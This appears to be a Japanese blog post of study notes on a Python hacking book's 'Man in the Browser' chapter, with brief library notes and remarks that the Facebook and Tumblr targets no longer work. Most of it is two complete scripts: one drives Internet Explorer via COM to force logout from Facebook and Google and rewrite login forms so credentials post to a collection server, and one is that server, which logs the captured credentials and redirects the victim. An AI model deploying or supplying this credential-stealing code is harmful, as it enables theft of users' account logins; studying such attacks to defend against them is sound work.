サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 9章 勉強まとめ
Man in the Browser
(追記:2016/08/31)
Facebookにアクセス出来ないことがコメントより判明しました。gotounixさん、指摘していただきありがとうございます。
Facebookのアカウントを持っていないのでサンプルままにコードを載せていました。何やら本書の執筆時とは変わっているようですね。
Tumblrの方にもアクセスできていないので、そこらへん含めて改良していきたいと思っています。
# -*- coding: utf-8 -*- import win32com.client import time import urllib.request import urllib.parse data_receiver = "http://localhost:8080/" target_sites = {} target_sites["www.facebook.com"] = \ {"logout_url" : None, "logout_form" : "logout_form", "login_form_index" : 0, "owned" : False} target_sites["accounts.google.com"] = \ {"logout_url" : "https://accounts.google.com/Logout?hl=en&continue=https://accounts.google.com/ServiceLogin%3Fservice%3Dmail", "logout_form" : None, "login_form_index" : 0, "owned" : False} #複数のGmailドメイン用に同じ標的サイトを指摘する target_sites["www.gmail.com"] = target_sites["accounts.google.com"] target_sites["mail.google.com"] = target_sites["accounts.google.com"] clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' windows = win32com.client.Dispatch(clsid) def wait_for_browser(browser): #ブラウザがページをロードし終えるのを待つ while browser.ReadyState != 4 and browser.ReadyState != "complete": time.sleep(0.1) return while True: for browser in windows: url = urllib.parse.urlparse(browser.LocationUrl) if url.hostname in target_sites: if target_sites[url.hostname]["owned"]: continue #もし該当のURLを発見したら、リダイレクトを行う if target_sites[url.hostname]["logout_url"]: browser.Navigate(target_sites[url.hostname]["logout_url"]) wait_for_browser(browser) else: #ドキュメント中のすべての要素を取得する full_doc = browser.Document.all #ログアウトフォームを検索 for i in full_doc: try: #ログアウトのフォームを検出してsubmitする if i.id == target_sites[url.hostname]["logout_form"]: i.submit() wait_for_browser(browser) except: pass #ログインフォームを改ざんする try: login_index = target_sites[url.hostname]["login_form_index"] login_page = urllib.request.quote(browser.LocationUrl) browser.Document.forms[login_index].action = "{0}{1}".format(data_receiver, login_page) target_sites[url.hostname]["owned"] = True except: pass time.sleep(5)
# -*- coding: utf-8 -*- import http.server import socketserver import urllib.parse class CredRequestHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) creds = self.rfile.read(content_length).decode('utf-8') print(creds) site = self.path[1:] self.send_response(301) self.send_header('Location', urllib.parse.unquote(site)) self.end_headers() server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler) server.serve_forever()
http.server
http.server.BaseHTTPRequestHandler
BaseHTTPRequestHandlerクラスは、サーバに到着したリクエストを処理する。
21.22. http.server — HTTP サーバ — Python 3.5.2 ドキュメント
import socketserver
server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
TCPサーバの作成。IPアドレスとポート番号、リクエストハンドラーを指定できる。
21.21. socketserver — ネットワークサーバのフレームワーク — Python 3.5.2 ドキュメント
import urllib.parse
urllib.parse.unquote(site)
クオートってどういう意味か知らなかったのですが、特殊文字をその文字そのものとして扱うことを言うのですね。
21.8. urllib.parse — URL を解析して構成要素にする — Python 3.5.2 ドキュメント
「クォート」「エスケープ」「エンコード」の違い - PHP 解決済 | 教えて!goo
win32comを用いたオートメーションの例は、他にもネットに転がっているので参考になりそう。
IEのCOMオートメーションを使用した情報の盗み出し
Tumblrにログイン出来ないので保留。
この本の執筆時と現在の環境が違ってるのかな。
判明したら追記します。